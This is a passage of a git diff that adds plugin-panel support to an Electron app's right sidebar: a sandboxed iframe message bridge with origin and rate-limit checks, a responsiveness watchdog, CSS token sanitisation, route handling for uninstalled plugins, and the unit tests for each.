index 000000000..bdf881ef8
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts
@@ -0,0 +1,24 @@
+import { describe, expect, it } from 'vitest'
+import type { ActivePluginPanel } from '@/store/plugin-panels'
+import { getPluginPanelActivityItems } from './plugin-panel-activity-items'
+
+const panel: ActivePluginPanel = {
+  id: 'dashboard',
+  title: 'Dashboard',
+  tabKey: 'plugin:orca-samples.demo/dashboard',
+  pluginKey: 'orca-samples.demo',
+  pluginName: 'Demo'
+}
+
+describe('getPluginPanelActivityItems', () => {
+  it('projects watchdog failure into host-owned activity chrome', () => {
+    expect(
+      getPluginPanelActivityItems([panel], {
+        'plugin:orca-samples.demo/dashboard': true
+      })[0]
+    ).toMatchObject({
+      id: panel.tabKey,
+      statusIndicator: 'failure'
+    })
+  })
+})
diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts b/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts
new file mode 100644
index 000000000..c2b52b482
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts
@@ -0,0 +1,90 @@
+import {
+  Activity,
+  BarChart3,
+  Bell,
+  Blocks,
+  Book,
+  Bot,
+  Bug,
+  Calendar,
+  Cloud,
+  Code,
+  Database,
+  FileText,
+  Flag,
+  Folder,
+  Gauge,
+  Globe,
+  Hammer,
+  Layers,
+  Lightbulb,
+  Package,
+  Plug,
+  Puzzle,
+  Rocket,
+  Star,
+  Terminal,
+  Wrench,
+  Zap
+} from 'lucide-react'
+import type { ActivePluginPanel } from '@/store/plugin-panels'
+import type { ActivityBarItem } from './activity-bar-buttons'
+
+type PluginPanelIcon = ActivityBarItem['icon']
+
+// Why: importing lucide's full `icons` map would bundle every icon and defeat
+// tree-shaking, so plugin manifests pick from this curated set (fallback: Plug).
+const PLUGIN_PANEL_ICONS: Record<string, PluginPanelIcon> = {
+  activity: Activity,
+  barchart3: BarChart3,
+  bell: Bell,
+  blocks: Blocks,
+  book: Book,
+  bot: Bot,
+  bug: Bug,
+  calendar: Calendar,
+  cloud: Cloud,
+  code: Code,
+  database: Database,
+  filetext: FileText,
+  flag: Flag,
+  folder: Folder,
+  gauge: Gauge,
+  globe: Globe,
+  hammer: Hammer,
+  layers: Layers,
+  lightbulb: Lightbulb,
+  package: Package,
+  plug: Plug,
+  puzzle: Puzzle,
+  rocket: Rocket,
+  star: Star,
+  terminal: Terminal,
+  wrench: Wrench,
+  zap: Zap
+}
+
+export function resolvePluginPanelIcon(iconName: string | undefined): PluginPanelIcon {
+  if (!iconName) {
+    return Plug
+  }
+  // Accept both lucide naming styles ('file-text' and 'FileText').
+  const normalized = iconName.replaceAll('-', '').toLowerCase()
+  return PLUGIN_PANEL_ICONS[normalized] ?? Plug
+}
+
+/** Maps active plugin panel contributions onto right-sidebar activity items. */
+export function getPluginPanelActivityItems(
+  panels: ActivePluginPanel[],
+  panelErrors: Readonly<Record<string, true>> = {}
+): ActivityBarItem[] {
+  return panels.map((panel) => ({
+    id: panel.tabKey,
+    icon: resolvePluginPanelIcon(panel.icon),
+    // Why: panel titles come from plugin manifests, not the app catalog, so
+    // they render untranslated by design.
+    title: panel.title,
+    shortcut: '',
+    ...(panelErrors[panel.tabKey] ? { statusIndicator: 'failure' as const } : {})
+  }))
+}
diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts b/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts
new file mode 100644
index 000000000..c2dc13a98
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts
@@ -0,0 +1,205 @@
+import { describe, expect, it, vi } from 'vitest'
+import type { PluginPanelActionOutcome } from '../../../../shared/plugins/plugin-panel-bridge'
+import type { PanelMessageBudget } from '../../../../shared/plugins/plugin-panel-message-budget'
+import { createPanelBridgeMessageHandler } from './plugin-panel-bridge-host'
+
+type FakePanelWindow = Window & { postMessage: ReturnType<typeof vi.fn> }
+
+function createFakePanelWindow(): FakePanelWindow {
+  return { postMessage: vi.fn() } as unknown as FakePanelWindow
+}
+
+function messageEvent(data: unknown, source: unknown): MessageEvent {
+  // The handler only reads .data and .source, so a plain object stands in for
+  // a real MessageEvent without needing a DOM environment.
+  return { data, source } as unknown as MessageEvent
+}
+
+const flush = (): Promise<void> => new Promise((resolve) => setTimeout(resolve, 0))
+
+const VALID_DATA = {
+  type: 'orca-panel-action',
+  requestId: 'req-1',
+  action: 'terminal.sendText',
+  params: { terminalId: 'term-1', text: '/model haiku', enter: true }
+}
+const SESSION_TOKEN = 's'.repeat(43)
+
+function createHandler(
+  panelWindow: FakePanelWindow,
+  outcome: PluginPanelActionOutcome = { ok: true, value: { accepted: true } }
+): { handler: (event: MessageEvent) => void; callPanelAction: ReturnType<typeof vi.fn> } {
+  const callPanelAction = vi.fn().mockResolvedValue(outcome)
+  const handler = createPanelBridgeMessageHandler({
+    sessionToken: SESSION_TOKEN,
+    getPanelWindow: () => panelWindow,
+    callPanelAction
+  })
+  return { handler, callPanelAction }
+}
+
+describe('createPanelBridgeMessageHandler', () => {
+  it('relays a valid request and posts the success result back into the panel', async () => {
+    const panelWindow = createFakePanelWindow()
+    const { handler, callPanelAction } = createHandler(panelWindow)
+
+    handler(messageEvent(VALID_DATA, panelWindow))
+    await flush()
+
+    expect(callPanelAction).toHaveBeenCalledWith({
+      sessionToken: SESSION_TOKEN,
+      action: 'terminal.sendText',
+      params: { terminalId: 'term-1', text: '/model haiku', enter: true }
+    })
+    expect(panelWindow.postMessage).toHaveBeenCalledWith(
+      {
+        type: 'orca-panel-action-result',
+        requestId: 'req-1',
+        ok: true,
+        value: { accepted: true }
+      },
+      '*'
+    )
+  })
+
+  it('ignores messages whose source is not the panel iframe window', async () => {
+    const panelWindow = createFakePanelWindow()
+    const { handler, callPanelAction } = createHandler(panelWindow)
+
+    handler(messageEvent(VALID_DATA, createFakePanelWindow()))
+    handler(messageEvent(VALID_DATA, null))
+    await flush()
+
+    expect(callPanelAction).not.toHaveBeenCalled()
+    expect(panelWindow.postMessage).not.toHaveBeenCalled()
+  })
+
+  it('ignores unrelated window messages without replying', async () => {
+    const panelWindow = createFakePanelWindow()
+    const { handler, callPanelAction } = createHandler(panelWindow)
+
+    handler(messageEvent({ type: 'react-devtools-bridge' }, panelWindow))
+    handler(messageEvent('plain string', panelWindow))
+    await flush()
+
+    expect(callPanelAction).not.toHaveBeenCalled()
+    expect(panelWindow.postMessage).not.toHaveBeenCalled()
+  })
+
+  it('answers a malformed bridge request with invalid_request instead of relaying it', async () => {
+    const panelWindow = createFakePanelWindow()
+    const { handler, callPanelAction } = createHandler(panelWindow)
+
+    handler(messageEvent({ ...VALID_DATA, action: 'fs.readFile' }, panelWindow))
+    await flush()
+
+    expect(callPanelAction).not.toHaveBeenCalled()
+    expect(panelWindow.postMessage).toHaveBeenCalledWith(
+      expect.objectContaining({
+        type: 'orca-panel-action-result',
+        requestId: 'req-1',
+        ok: false,
+        errorCode: 'invalid_request'
+      }),
+      '*'
+    )
+  })
+
+  it('relays a denial outcome (missing manifest permission) back to the panel', async () => {
+    const panelWindow = createFakePanelWindow()
+    const { handler } = createHandler(panelWindow, {
+      ok: false,
+      code: 'capability_denied',
+      error: 'plugin does not have the "terminal.sendText" permission'
+    })
+
+    handler(messageEvent(VALID_DATA, panelWindow))
+    await flush()
+
+    expect(panelWindow.postMessage).toHaveBeenCalledWith(
+      {
+        type: 'orca-panel-action-result',
+        requestId: 'req-1',
+        ok: false,
+        errorCode: 'capability_denied',
+        error: 'plugin does not have the "terminal.sendText" permission'
+      },
+      '*'
+    )
+  })
+
+  it('reports a rejected relay call as action_failed', async () => {
+    const panelWindow = createFakePanelWindow()
+    const callPanelAction = vi.fn().mockRejectedValue(new Error('ipc broke'))
+    const handler = createPanelBridgeMessageHandler({
+      sessionToken: SESSION_TOKEN,
+      getPanelWindow: () => panelWindow,
+      callPanelAction
+    })
+
+    handler(messageEvent(VALID_DATA, panelWindow))
+    await flush()
+
+    expect(panelWindow.postMessage).toHaveBeenCalledWith(
+      expect.objectContaining({ ok: false, errorCode: 'action_failed', error: 'ipc broke' }),
+      '*'
+    )
+  })
+
+  it('drops a deferred result after the requesting document is invalidated', async () => {
+    const panelWindow = createFakePanelWindow()
+    let active = true
+    let resolveCall!: (outcome: PluginPanelActionOutcome) => void
+    const callPanelAction = vi.fn(
+      () => new Promise<PluginPanelActionOutcome>((resolve) => (resolveCall = resolve))
+    )
+    const handler = createPanelBridgeMessageHandler({
+      sessionToken: SESSION_TOKEN,
+      getPanelWindow: () => panelWindow,
+      callPanelAction,
+      isActive: () => active
+    })
+
+    handler(messageEvent(VALID_DATA, panelWindow))
+    active = false
+    resolveCall({ ok: true, value: { stale: true } })
+    await flush()
+
+    expect(panelWindow.postMessage).not.toHaveBeenCalled()
+  })
+
+  it('charges pong and invalid guest traffic before parsing either message', () => {
+    const panelWindow = createFakePanelWindow()
+    const admit = vi.fn<PanelMessageBudget['admit']>().mockReturnValue(null)
+    const onPong = vi.fn()
+    const handler = createPanelBridgeMessageHandler({
+      sessionToken: SESSION_TOKEN,
+      getPanelWindow: () => panelWindow,
+      callPanelAction: vi.fn(),
+      onPong,
+      budget: { maxBytes: 1024, admit }
+    })
+
+    handler(messageEvent({ type: 'invalid-hostile-message' }, panelWindow))
+    handler(messageEvent({ type: 'orca-panel-pong', pingId: 7 }, panelWindow))
+
+    expect(admit).toHaveBeenCalledTimes(2)
+    expect(onPong).toHaveBeenCalledWith(7)
+  })
+
+  it('does not accept a pong refused by the rate budget', () => {
+    const panelWindow = createFakePanelWindow()
+    const onPong = vi.fn()
+    const handler = createPanelBridgeMessageHandler({
+      sessionToken: SESSION_TOKEN,
+      getPanelWindow: () => panelWindow,
+      callPanelAction: vi.fn(),
+      onPong,
+      budget: { maxBytes: 1024, admit: () => 'rate_limited' }
+    })
+
+    handler(messageEvent({ type: 'orca-panel-pong', pingId: 7 }, panelWindow))
+
+    expect(onPong).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts b/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts
new file mode 100644
index 000000000..edd349848
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts
@@ -0,0 +1,160 @@
+import {
+  PANEL_ACTION_RESULT_TYPE,
+  looksLikePanelActionRequest,
+  looksLikePanelPong,
+  parsePanelActionRequest,
+  type PluginPanelActionOutcome,
+  type PluginPanelActionResultMessage
+} from '../../../../shared/plugins/plugin-panel-bridge'
+import {
+  createPanelMessageBudget,
+  structuredCloneMessageBytes,
+  type PanelMessageBudget
+} from '../../../../shared/plugins/plugin-panel-message-budget'
+import { translate } from '@/i18n/i18n'
+
+/**
+ * Host side of the plugin panel postMessage bridge. Framework-free so
+ * message validation, budgets, and relay behavior are directly
+ * unit-testable; PluginPanel wires the returned listener to `window` while
+ * the panel iframe is mounted.
+ *
+ * Main issues an opaque session while loading the mounted panel. The guest
+ * never sees or supplies plugin identity, and main binds the session again.
+ */
+
+export type PanelActionCall = {
+  sessionToken: string
+  action: string
+  params?: unknown
+}
+
+export type PanelBridgeHostOptions = {
+  sessionToken: string
+  /** The mounted panel iframe's contentWindow, or null when unmounted. */
+  getPanelWindow: () => Window | null
+  callPanelAction: (call: PanelActionCall) => Promise<PluginPanelActionOutcome>
+  /** False once the requesting panel document/session has been replaced. */
+  isActive?: () => boolean
+  onPong?: (pingId: number) => void
+  /** Injectable for tests; defaults to the shared per-plugin budget. */
+  budget?: PanelMessageBudget
+  now?: () => number
+}
+
+/** Relays a bridge call through the preload API, degrading to a bridge-level
+ *  error when the preload predates the plugins.panelAction surface. */
+export function callPanelActionViaPreload(
+  call: PanelActionCall
+): Promise<PluginPanelActionOutcome> {
+  const panelAction = window.api?.plugins?.panelAction
+  if (!panelAction) {
+    return Promise.resolve({
+      ok: false,
+      code: 'unavailable',
+      error: translate(
+        'auto.components.rightSidebar.pluginPanelBridgeHost.actionsUnavailable',
+        'Plugin actions are not available in this client.'
+      )
+    })
+  }
+  return panelAction(call)
+}
+
+export function createPanelBridgeMessageHandler(
+  options: PanelBridgeHostOptions
+): (event: MessageEvent) => void {
+  const budget = options.budget ?? createPanelMessageBudget()
+  const now = options.now ?? (() => Date.now())
+  return (event: MessageEvent): void => {
+    const panelWindow = options.getPanelWindow()
+    // Why: the sandboxed srcdoc frame has an opaque origin ("null"), so the
+    // sending window's identity — not event.origin — is the only trustworthy
+    // check that this message came from our panel and not another frame.
+    if (!panelWindow || event.source !== panelWindow) {
+      return
+    }
+    const requestingWindow = panelWindow
+    const respond = (message: PluginPanelActionResultMessage): void => {
+      if (options.isActive?.() === false || options.getPanelWindow() !== requestingWindow) {
+        return
+      }
+      // Why: targetOrigin must be '*' — an opaque origin never matches a
+      // concrete origin, so anything stricter would silently drop the reply.
+      requestingWindow.postMessage(message, '*')
+    }
+    // Budgets run before parsing: a flood of malformed junk must not buy
+    // free schema-validation CPU either.
+    const refusal = budget.admit(now(), structuredCloneMessageBytes(event.data, budget.maxBytes))
+    if (refusal) {
+      const requestId =
+        typeof event.data === 'object' && event.data !== null
+          ? (event.data as { requestId?: unknown }).requestId
+          : undefined
+      if (typeof requestId === 'string' && requestId.length > 0 && requestId.length <= 128) {
+        respond({
+          type: PANEL_ACTION_RESULT_TYPE,
+          requestId,
+          ok: false,
+          errorCode: refusal === 'oversized' ? 'invalid_request' : 'rate_limited',
+          error:
+            refusal === 'oversized'
+              ? translate(
+                  'auto.components.rightSidebar.pluginPanelBridgeHost.messageTooLarge',
+                  'Message exceeds the size limit.'
+                )
+              : translate(
+                  'auto.components.rightSidebar.pluginPanelBridgeHost.tooManyRequests',
+                  'Too many requests.'
+                )
+        })
+      }
+      return
+    }
+    if (looksLikePanelPong(event.data)) {
+      options.onPong?.((event.data as { pingId: number }).pingId)
+      return
+    }
+    if (!looksLikePanelActionRequest(event.data)) {
+      return
+    }
+    const parsed = parsePanelActionRequest(event.data)
+    if (!parsed.ok) {
+      if (parsed.requestId) {
+        respond({
+          type: PANEL_ACTION_RESULT_TYPE,
+          requestId: parsed.requestId,
+          ok: false,
+          errorCode: 'invalid_request',
+          error: parsed.error
+        })
+      }
+      return
+    }
+    const { requestId, action, params } = parsed.request
+    options
+      .callPanelAction({ sessionToken: options.sessionToken, action, params })
+      .then((outcome) => {
+        respond(
+          outcome.ok
+            ? { type: PANEL_ACTION_RESULT_TYPE, requestId, ok: true, value: outcome.value }
+            : {
+                type: PANEL_ACTION_RESULT_TYPE,
+                requestId,
+                ok: false,
+                errorCode: outcome.code,
+                error: outcome.error
+              }
+        )
+      })
+      .catch((error: unknown) => {
+        respond({
+          type: PANEL_ACTION_RESULT_TYPE,
+          requestId,
+          ok: false,
+          errorCode: 'action_failed',
+          error: error instanceof Error ? error.message : String(error)
+        })
+      })
+  }
+}
diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-design-token-css.ts b/src/renderer/src/components/right-sidebar/plugin-panel-design-token-css.ts
new file mode 100644
index 000000000..6ee508c09
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/plugin-panel-design-token-css.ts
@@ -0,0 +1,23 @@
+import { PANEL_DESIGN_TOKEN_ALLOWLIST } from '../../../../shared/plugins/plugin-panel-shell'
+
+/**
+ * Snapshots the curated design-token subset from the live document so panel
+ * documents can match the app without any access to it. Values are read from
+ * computed styles (trusted origin) but still stripped of structural CSS
+ * characters before landing inside the shell's <style> block.
+ */
+export function buildPanelDesignTokenCss(): string {
+  const styles = getComputedStyle(document.documentElement)
+  const declarations: string[] = []
+  for (const token of PANEL_DESIGN_TOKEN_ALLOWLIST) {
+    const value = styles.getPropertyValue(token).trim()
+    if (value.length > 0) {
+      declarations.push(`${token}:${value.replaceAll(/[{}<>;]/g, '')}`)
+    }
+  }
+  return declarations.join(';')
+}
+
+export function currentPanelColorScheme(): 'light' | 'dark' {
+  return document.documentElement.classList.contains('dark') ? 'dark' : 'light'
+}
diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-watchdog.test.ts b/src/renderer/src/components/right-sidebar/plugin-panel-watchdog.test.ts
new file mode 100644
index 000000000..cf28ff82c
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/plugin-panel-watchdog.test.ts
@@ -0,0 +1,50 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { createPanelWatchdog } from './plugin-panel-watchdog'
+
+describe('createPanelWatchdog', () => {
+  beforeEach(() => vi.useFakeTimers())
+  afterEach(() => vi.useRealTimers())
+
+  it('can start again after StrictMode-style setup cleanup', () => {
+    const sendPing = vi.fn()
+    const onUnresponsive = vi.fn()
+    const watchdog = createPanelWatchdog({
+      sendPing,
+      onUnresponsive,
+      pingIntervalMs: 100,
+      pongTimeoutMs: 50
+    })
+
+    watchdog.start()
+    watchdog.stop()
+    watchdog.start()
+    expect(sendPing.mock.calls.map(([pingId]) => pingId)).toEqual([0, 1])
+
+    watchdog.handlePong(1)
+    vi.advanceTimersByTime(100)
+    watchdog.handlePong(2)
+    expect(onUnresponsive).not.toHaveBeenCalled()
+
+    watchdog.stop()
+    vi.advanceTimersByTime(1_000)
+    expect(onUnresponsive).not.toHaveBeenCalled()
+  })
+
+  it('clears its interval when a pong deadline expires', () => {
+    const sendPing = vi.fn()
+    const onUnresponsive = vi.fn()
+    const watchdog = createPanelWatchdog({
+      sendPing,
+      onUnresponsive,
+      pingIntervalMs: 100,
+      pongTimeoutMs: 50
+    })
+
+    watchdog.start()
+    vi.advanceTimersByTime(50)
+    vi.advanceTimersByTime(1_000)
+
+    expect(onUnresponsive).toHaveBeenCalledTimes(1)
+    expect(sendPing).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-watchdog.ts b/src/renderer/src/components/right-sidebar/plugin-panel-watchdog.ts
new file mode 100644
index 000000000..36a5d6ff5
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/plugin-panel-watchdog.ts
@@ -0,0 +1,97 @@
+import {
+  PANEL_WATCHDOG_PING_INTERVAL_MS,
+  PANEL_WATCHDOG_PONG_TIMEOUT_MS
+} from '../../../../shared/plugins/plugin-panel-bridge'
+
+/**
+ * Panel responsiveness watchdog: pings the sandboxed frame on an interval
+ * and demotes the panel to an errored badge when a pong misses its deadline.
+ * The busy-loop guarantee depends on Chromium assigning the sandboxed frame
+ * a separate renderer, which the Electron containment test gates explicitly.
+ * Pure timer logic keeps deadline behavior deterministic in unit tests.
+ */
+
+export type PanelWatchdogOptions = {
+  sendPing: (pingId: number) => void
+  onUnresponsive: () => void
+  pingIntervalMs?: number
+  pongTimeoutMs?: number
+}
+
+export type PanelWatchdog = {
+  start(): void
+  stop(): void
+  handlePong(pingId: number): void
+}
+
+export function createPanelWatchdog(options: PanelWatchdogOptions): PanelWatchdog {
+  const pingIntervalMs = options.pingIntervalMs ?? PANEL_WATCHDOG_PING_INTERVAL_MS
+  const pongTimeoutMs = options.pongTimeoutMs ?? PANEL_WATCHDOG_PONG_TIMEOUT_MS
+  let pingTimer: ReturnType<typeof setInterval> | null = null
+  let deadlineTimer: ReturnType<typeof setTimeout> | null = null
+  let nextPingId = 0
+  let awaitedPingId: number | null = null
+  let active = false
+  let generation = 0
+
+  const clearDeadline = (): void => {
+    if (deadlineTimer) {
+      clearTimeout(deadlineTimer)
+      deadlineTimer = null
+    }
+  }
+
+  const ping = (): void => {
+    if (!active || awaitedPingId !== null) {
+      // A ping is already outstanding; its deadline will fire first.
+      return
+    }
+    awaitedPingId = nextPingId++
+    options.sendPing(awaitedPingId)
+    const deadlineGeneration = generation
+    deadlineTimer = setTimeout(() => {
+      if (active && generation === deadlineGeneration && awaitedPingId !== null) {
+        active = false
+        if (pingTimer) {
+          clearInterval(pingTimer)
+          pingTimer = null
+        }
+        deadlineTimer = null
+        awaitedPingId = null
+        options.onUnresponsive()
+      }
+    }, pongTimeoutMs)
+  }
+
+  return {
+    start() {
+      if (active) {
+        return
+      }
+      // React StrictMode intentionally runs effect setup → cleanup → setup.
+      // A stopped watchdog must be reusable by the second real setup.
+      generation += 1
+      active = true
+      awaitedPingId = null
+      clearDeadline()
+      pingTimer = setInterval(ping, pingIntervalMs)
+      ping()
+    },
+    stop() {
+      active = false
+      generation += 1
+      if (pingTimer) {
+        clearInterval(pingTimer)
+        pingTimer = null
+      }
+      clearDeadline()
+      awaitedPingId = null
+    },
+    handlePong(pingId) {
+      if (active && pingId === awaitedPingId) {
+        awaitedPingId = null
+        clearDeadline()
+      }
+    }
+  }
+}
diff --git a/src/renderer/src/components/right-sidebar/right-sidebar-activity-visibility.test.ts b/src/renderer/src/components/right-sidebar/right-sidebar-activity-visibility.test.ts
index 866358709..01c44ba79 100644
--- a/src/renderer/src/components/right-sidebar/right-sidebar-activity-visibility.test.ts
+++ b/src/renderer/src/components/right-sidebar/right-sidebar-activity-visibility.test.ts
@@ -26,7 +26,14 @@ const items: ActivityBarItem[] = [
     shortcut: '',
     gitOnly: true
   },
-  { id: 'ports', icon: Files, title: 'Ports', shortcut: '', sshOnly: true }
+  { id: 'ports', icon: Files, title: 'Ports', shortcut: '', sshOnly: true },
+  // Plugin panels carry no visibility flags, so they show in every context.
+  {
+    id: 'plugin:orca-samples.my-plugin/dashboard',
+    icon: Files,
+    title: 'Dashboard',
+    shortcut: ''
+  }
 ]
 
 describe('getVisibleRightSidebarActivityItems', () => {
@@ -37,7 +44,7 @@ describe('getVisibleRightSidebarActivityItems', () => {
         isFolderWorkspace: false,
         isSshRepo: false
       }).map((item) => item.id)
-    ).toEqual(['explorer', 'source-control'])
+    ).toEqual(['explorer', 'source-control', 'plugin:orca-samples.my-plugin/dashboard'])
 
     expect(
       getVisibleRightSidebarActivityItems(items, {
@@ -45,7 +52,7 @@ describe('getVisibleRightSidebarActivityItems', () => {
         isFolderWorkspace: false,
         isSshRepo: true
       }).map((item) => item.id)
-    ).toEqual(['explorer', 'source-control', 'ports'])
+    ).toEqual(['explorer', 'source-control', 'ports', 'plugin:orca-samples.my-plugin/dashboard'])
   })
 
   it('shows Workspaces only for folder workspaces and hides git tabs for all folder scopes', () => {
@@ -55,7 +62,13 @@ describe('getVisibleRightSidebarActivityItems', () => {
         isFolderWorkspace: true,
         isSshRepo: true
       }).map((item) => item.id)
-    ).toEqual(['explorer', 'workspaces', 'pr-checks', 'ports'])
+    ).toEqual([
+      'explorer',
+      'workspaces',
+      'pr-checks',
+      'ports',
+      'plugin:orca-samples.my-plugin/dashboard'
+    ])
 
     expect(
       getVisibleRightSidebarActivityItems(items, {
@@ -63,6 +76,6 @@ describe('getVisibleRightSidebarActivityItems', () => {
         isFolderWorkspace: false,
         isSshRepo: true
       }).map((item) => item.id)
-    ).toEqual(['explorer', 'ports'])
+    ).toEqual(['explorer', 'ports', 'plugin:orca-samples.my-plugin/dashboard'])
   })
 })
diff --git a/src/renderer/src/components/right-sidebar/right-sidebar-effective-tab.test.ts b/src/renderer/src/components/right-sidebar/right-sidebar-effective-tab.test.ts
index 40a7c27a9..1f15106b1 100644
--- a/src/renderer/src/components/right-sidebar/right-sidebar-effective-tab.test.ts
+++ b/src/renderer/src/components/right-sidebar/right-sidebar-effective-tab.test.ts
@@ -72,6 +72,28 @@ describe('resolveRightSidebarEffectiveTab', () => {
     ).toBe('explorer')
   })
 
+  it('keeps a plugin tab active while its panel is still contributed', () => {
+    expect(
+      resolveRightSidebarEffectiveTab({
+        normalizedActiveTab: 'plugin:orca-samples.my-plugin/dashboard',
+        visibleItems: [...gitVisibleItems, { id: 'plugin:orca-samples.my-plugin/dashboard' }],
+        activeFolderWorkspaceKey: null,
+        rememberedFolderTab: null
+      })
+    ).toBe('plugin:orca-samples.my-plugin/dashboard')
+  })
+
+  it('falls back to the first visible item when a plugin tab was uninstalled', () => {
+    expect(
+      resolveRightSidebarEffectiveTab({
+        normalizedActiveTab: 'plugin:orca-samples.my-plugin/dashboard',
+        visibleItems: gitVisibleItems,
+        activeFolderWorkspaceKey: null,
+        rememberedFolderTab: null
+      })
+    ).toBe('explorer')
+  })
+
   it('treats empty visible items as an invariant failure', () => {
     expect(() =>
       resolveRightSidebarEffectiveTab({
diff --git a/src/renderer/src/components/right-sidebar/right-sidebar-panel-content.tsx b/src/renderer/src/components/right-sidebar/right-sidebar-panel-content.tsx
index f26f42715..8da2783e3 100644
--- a/src/renderer/src/components/right-sidebar/right-sidebar-panel-content.tsx
+++ b/src/renderer/src/components/right-sidebar/right-sidebar-panel-content.tsx
@@ -1,6 +1,7 @@
 import { Suspense } from 'react'
 import { lazyWithRetry as lazy } from '@/lib/lazy-with-retry'
 import type { ActiveRightSidebarTab } from '@/store/slices/editor'
+import { isPluginPanelTabKey } from '../../../../shared/plugins/plugin-manifest'
 
 const FileExplorer = lazy(() => import('./FileExplorer'))
 const SourceControl = lazy(() => import('./SourceControl'))
@@ -9,6 +10,7 @@ const PortsPanel = lazy(() => import('./PortsPanel'))
 const AiVaultPanel = lazy(() => import('./AiVaultPanel'))
 const FolderWorkspaceWorktreesPanel = lazy(() => import('./FolderWorkspaceWorktreesPanel'))
 const FolderWorkspacePrChecksPanel = lazy(() => import('./FolderWorkspacePrChecksPanel'))
+const PluginPanel = lazy(() => import('./PluginPanel'))
 
 type RightSidebarPanelContentProps = {
   effectiveTab: ActiveRightSidebarTab
@@ -38,6 +40,14 @@ export function RightSidebarPanelContent({
             isVisible={rightSidebarOpen && effectiveTab === 'pr-checks'}
           />
         )}
+        {/* Plugin-contributed tabs route by key prefix; the panel itself
+            handles plugins that have since been uninstalled or disabled.
+            Why key: switching plugin tabs must remount the sandboxed iframe —
+            a reused frame could keep posting messages while the bridge is
+            rebound under the next plugin's identity. */}
+        {isPluginPanelTabKey(effectiveTab) && (
+          <PluginPanel key={effectiveTab} tabKey={effectiveTab} />
+        )}
       </Suspense>
     </div>
   )
diff --git a/src/renderer/src/components/right-sidebar/use-installed-plugin-route-reconciliation.test.tsx b/src/renderer/src/components/right-sidebar/use-installed-plugin-route-reconciliation.test.tsx
new file mode 100644
index 000000000..d0323046c
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/use-installed-plugin-route-reconciliation.test.tsx
@@ -0,0 +1,91 @@
+// @vitest-environment happy-dom
+
+import { createRoot } from 'react-dom/client'
+import { act } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { PluginPanelsFetchStatus } from '@/store/plugin-panels'
+import type { ActiveRightSidebarTab } from '@/store/slices/editor'
+import { useInstalledPluginRouteReconciliation } from './use-installed-plugin-route-reconciliation'
+
+const roots: ReturnType<typeof createRoot>[] = []
+
+afterEach(async () => {
+  await act(async () => {
+    for (const root of roots.splice(0)) {
+      root.unmount()
+    }
+  })
+  document.body.innerHTML = ''
+})
+
+describe('useInstalledPluginRouteReconciliation', () => {
+  it('waits through loading, then persists Explorer for a proven-uninstalled panel', async () => {
+    const container = document.createElement('div')
+    document.body.appendChild(container)
+    const root = createRoot(container)
+    roots.push(root)
+    const setStoredTab = vi.fn()
+    const storedTab = 'plugin:orca-samples.removed/dashboard' as const
+    const Harness = ({ fetchStatus }: { fetchStatus: PluginPanelsFetchStatus }) => {
+      useInstalledPluginRouteReconciliation({
+        pluginSystemEnabled: true,
+        fetchStatus,
+        storedTab,
+        normalizedTab: 'explorer',
+        setStoredTab
+      })
+      return null
+    }
+
+    await act(async () => root.render(<Harness fetchStatus="loading" />))
+    expect(setStoredTab).not.toHaveBeenCalled()
+
+    await act(async () => root.render(<Harness fetchStatus="ready" />))
+    expect(setStoredTab).toHaveBeenCalledOnce()
+    expect(setStoredTab).toHaveBeenCalledWith('explorer' satisfies ActiveRightSidebarTab)
+  })
+
+  it('does not rewrite a still-installed plugin route', async () => {
+    const container = document.createElement('div')
+    document.body.appendChild(container)
+    const root = createRoot(container)
+    roots.push(root)
+    const setStoredTab = vi.fn()
+    const storedTab = 'plugin:orca-samples.present/dashboard' as const
+    const Harness = () => {
+      useInstalledPluginRouteReconciliation({
+        pluginSystemEnabled: true,
+        fetchStatus: 'ready',
+        storedTab,
+        normalizedTab: storedTab,
+        setStoredTab
+      })
+      return null
+    }
+
+    await act(async () => root.render(<Harness />))
+    expect(setStoredTab).not.toHaveBeenCalled()
+  })
+
+  it('preserves an installed route while the global plugin feature is disabled', async () => {
+    const container = document.createElement('div')
+    document.body.appendChild(container)
+    const root = createRoot(container)
+    roots.push(root)
+    const setStoredTab = vi.fn()
+    const storedTab = 'plugin:orca-samples.present/dashboard' as const
+    const Harness = () => {
+      useInstalledPluginRouteReconciliation({
+        pluginSystemEnabled: false,
+        fetchStatus: 'ready',
+        storedTab,
+        normalizedTab: 'explorer',
+        setStoredTab
+      })
+      return null
+    }
+
+    await act(async () => root.render(<Harness />))
+    expect(setStoredTab).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/renderer/src/components/right-sidebar/use-installed-plugin-route-reconciliation.ts b/src/renderer/src/components/right-sidebar/use-installed-plugin-route-reconciliation.ts
new file mode 100644
index 000000000..91594177c
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/use-installed-plugin-route-reconciliation.ts
@@ -0,0 +1,25 @@
+import { useEffect } from 'react'
+import { isPluginPanelTabKey } from '../../../../shared/plugins/plugin-manifest'
+import type { PluginPanelsFetchStatus } from '@/store/plugin-panels'
+import type { ActiveRightSidebarTab } from '@/store/slices/editor'
+
+/** Persists removal only after the authoritative installed list is ready. */
+export function useInstalledPluginRouteReconciliation(input: {
+  pluginSystemEnabled: boolean
+  fetchStatus: PluginPanelsFetchStatus
+  storedTab: ActiveRightSidebarTab
